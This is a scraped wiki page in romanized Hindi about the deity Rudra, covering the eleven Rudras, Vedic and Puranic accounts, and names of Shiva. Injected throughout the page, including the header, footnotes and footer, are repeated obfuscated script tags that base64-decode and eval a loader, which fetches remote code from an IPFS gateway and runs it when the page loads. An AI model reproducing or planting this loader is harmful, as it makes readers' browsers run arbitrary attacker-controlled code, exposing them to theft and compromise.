रुद्र

भारत डिस्कवरी प्रस्तुति
Jump to navigation Jump to search
<script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script>
  1. REDIRECTsaancha:mukhy<script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script>
rudr
parichay bhagavan shiv ka hi ek any nam 'rudr' hai. shiv ne yah roop kamadev ko bhasm karane ke samay aur daksh ka yajn dhvans karate samay dharan kiya tha.
avatar shiv
abhibhavak kashyap aur unaki patni vasudha.
gyarah rudr 'kapali', 'piangal', 'bhim', 'vilohit', 'shastrabhrit', 'abhay', 'ajapad', 'ahibudhny', 'shanbhu', 'bhav' tatha 'viroopaksh'.
ayudh dhanush-ban
vishesh 'rudr' ka ayudh vidhvansak hai, parantu rudr ke vidhvans ke pashchath ganbhir shanti ka vatavaran utpann ho jata hai. isalie unaka vidhvansak roop hote hue bhi unake kalyan kari roop (shiv) ki prarthana ki jati hai.
any janakari 'rudr' prakriti ki us shakti ke devata haian, jisaka pratinidhitv jhanjhavat aur usaka prachand garjan-tarjan karata hai. rudr ka ek arth bhayankar bhi hota hai, parantu rudr ki chillahat aur bhayankarata ke sath unaka prashant aur saumy roop bhi vedoan mean varnit hai.

<script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script>

rudr bhagavan shiv ka hi ek nam. inhean ugr devata mana jata tha. ugr roop mean 'rudr' tatha mangalakari roop mean shiv. atharvaved mean ise 'bhoopati' 'nilodar', 'lohit prishth' tatha 'nilakanth' kaha gaya hai. rudr ko 'kritavas'[1] bhi kaha gaya hai. aitarey brahman mean kaha gaya hai ki 'rudr' ki utpatti sabhi devataoan ke ugr aanshoan se huee hai. yajurved ke 'shatarudriy prakaran' mean ise 'pashupati', 'shambhoo', 'shankar', 'shiv' kaha gaya hai. rudr anaitik acharanoan se sambaddh mane jate the.

gyarah rudr

daityoan ke sammukh devata tik nahian pate the. ve apane pita kashyap ki sharan mean gaye. kashyap ne bhagavan shiv ko apani tapasya se prasann karake varadan prapt kiya ki shiv unaki patni vasudha ke garbh se avatarit hokar daityoan ko trast kareange. kalantar mean shiv gyarah rudroan ke roop mean vasudha ke garbh se prakat hue. unake ve roop 'kapali', 'piangal', 'bhim', 'vilohit', 'shastrabhrit', 'abhay', 'ajapad', 'ahibudhny', 'shanbhu', 'bhav' tatha 'viroopaksh' nam se vikhyat haian. unhoanne daityoan ko mar bhagaya aur devataoan ne apana rajy pun prapt kiya.[2][3]

puran ullekh

puranoan mean rudr se sambandhit kee prasang prapt hote haian, jaise-

  • srishti ke arambh mean brahma ki bhauhoan se utpann ek prakar ke devata, jo krodharoop mane jate haian aur jinase bhoot, pret, pishach utpann kahe jate haian. 'aj', 'ekapadh', 'ahirbudhny', 'pinaki', 'aparajit', 'tryambak', 'maheshvar', 'vrishakapi', 'shanbhu', 'haran' aur 'eeshvar', ye hi kul gyarah rudr haian. 'garu dapuran' mean inake jo nam diye haian, ve kuchh bhinn haian, par sankhya gyarah hi hai. koormapurananusar jab brahma srishti utpann n kar sake, tab mare krodh ke unaki aankhoan se aansoo nikal p de, jisase bhoot pretoan ki srishti huee aur unake mukh se gyarah rudr nikal aye. brahman granthoan ke anusar ye utpann hote hi jor-jor se rone lage the[4] isi se inaka nam rudr p da. vaidik sahity mean agni ko hi rudr mana hai, jinhean agni-roopi, vrishti karane vala aur garajane vala kaha gaya hai. inhean apary bhi kahate haian.[5][6]
  • bhagavan shankar ka ek roop rudr hai, jo unhoanne kamadev ko bhasm karane ke samay aur daksh ka yajn dhvans karate samay dharan kiya tha. shankar ki upasana jab 'rudr' ya 'mahakal' ke roop mean ki jati hai, tab unhean mahapralay ya sari srishti ko dhvans karane vala devata samajha jata hai. lekin mahapralay ke pichhe hi nayi srishti ka bhav chhipa rahata hai. shayad isi se bhagavan shankar ki pooja liang aur yoni ke roop mean ki jati hai, kyoanki ye aang hi srishti ke dyotak samajhe jate haian. liang=purush ki shakti=shiv ka pulliang roop aur yoni=shankar ki utpadan shakti ka striliang roop samajhana chahie. sanhar ke pashchath shankar srishti bhi karate haian. inake donoan karyoan ne hi shankar ko mahadev bana diya hai, jise eeshvar ki sanjna se vibhooshit kar diya gaya hai.[7]
  • vishvakarma ke ek putr ka nam bhi rudr hai.

tridevoan mean ganana

vaidik kal mean rudr sadharan devata the. unaki stuti ke keval tin sookt paye jate haian. rudr ki vyutpatti 'rudh' dhatu se hai, jisaka arth 'halla karana' athava 'chillana' hai. rudr ka arth lal hona athava chamakana bhi hai. rudr prakriti ki us shakti ke devata haian, jisaka pratinidhitv jhanjhavat aur usaka prachand garjan-tarjan karata hai. rudr ka ek arth bhayankar bhi hota hai. parantu rudr ki chillahat aur bhayankarata ke sath unaka prashant aur saumy roop bhi vedoan mean varnit hai. ve keval dhvans aur vinash ke hi devata nahian haian, svasthy aur kalyan ke bhi devata haian. at: rudr ki kalpana mean shiv ke tattv nihit the, isalie rudr ko bahut shighr mahattv mil gaya aur unaki ganana tridevoan (trimoorti) mean shiv athava mahesh ke roop mean hone lagi.

parivarik samanata

'rudr' rudroan (bahuvachan), rudriyoan tatha marutoan ke pita haian. rudr tatha marutoan mean parivarik samanata hai, kyoanki pita aur putragan donoan sone ke abhooshan dharan karate haian, dhanush-ban inake ayudh haian, rog door karane mean ye samarth haian. rudr ka varnan kabhi-kabhi indr ke sath bhi hua hai, kiantu donoan mean antar hai. rudr ko keval ek bar vajrabahu kaha gaya hai, jabaki indr sada vajrabahu haian. bijali ki kauandh aur chamak, badal ka garjan evan isake pashchath jal varshan indr ka kary hai. parantu jab vajrapat se manushy athava pashu marata hai to yah rudr ka kary samajhana chahie. indr ka vajr sada upakari hai, rudr ka ayudh vidhvansak hai. parantu rudr ke vidhvans ke pashchath ganbhir shanti ka vatavaran utpann ho jata hai. isalie unaka vidhvansak roop hote hue bhi unake kalyan kari roop (shiv) ki prarthana ki jati hai. any devoan dvara kiye ge upakar ko door karane ke lie bhi unase prarthana ki gayi hai.[8]

  • puranoan mean rudr ke shiv roop ki mahatta adhik badhi, yadyapi unaka vidhvansak roop shiv ke aantargat samavisht raha. ekadash rudroan aur unake ganoan ki vishal kalpana puranoan mean payi jati hai.
bhagavan shiv nam
sarvajn marajit rudr shambhoo eesh pashupati shoolin maheshvar
bhagavat eeshan shankar chandrashekhar sharv bhootesh pinakin khandaparashu
mrid mrityuanjay krittivasas girish pramathadhip ugr kapardin shrikanth
shitakinth kapalabhrit vamadev mahadev viroopaksh trilochan krishanuretas dhoorjati
nilalohit har smarahar bharg tryambak tripurantak gangadhar andhakaripu
kratudhvansin vrishadhvaj vyomakesh bhav bhim sthanu umapati girish
yatinath


panne ki pragati avastha
adhar
prarambhik
madhyamik
poornata
shodh

tika tippani aur sandarbh

  1. khal dharan karane vala
  2. shivapuran, 7|24; vishnupuran, 1|8|1-15
  3. bharatiy mithak kosh |lekhak: d aau. usha puri vidyavachaspati |prakashak: neshanal pablishiang haus, nee dilli |liank:- [267] <script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script>
  4. rudr arthath rona
  5. brahmaandapuran 4-34.42; garu dapuran; koormapuran; bhag 6.6.14
  6. pauranik kosh |prakashak: jnanamandal limited, varanasi |sanpadan: rana prasad sharma |prishth sankhya: 447 | <script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script>
  7. matsyapuran 4.5 poora; vayupuran 30 poora.
  8. hindoo dharmakosh |lekhak: d aau. rajabali pandey |prakashak: uttar pradesh hindi sansthan |prishth sankhya: 559 | <script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script>

sanbandhit lekh

<script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script>

<script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script>

<script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script><script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script>


varnamala kramanusar lekh khoj

a   a    i    ee    u    oo    e    ai    o   au    aan    k   kh    g    gh    n    ch    chh    j    jh    n    t    th    d   dh    n    t    th    d    dh    n    p    ph    b    bh    m    y    r    l    v    sh    sh    s    h    ksh    tr    jn    rri    rri    aau    shr   aah

<script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script>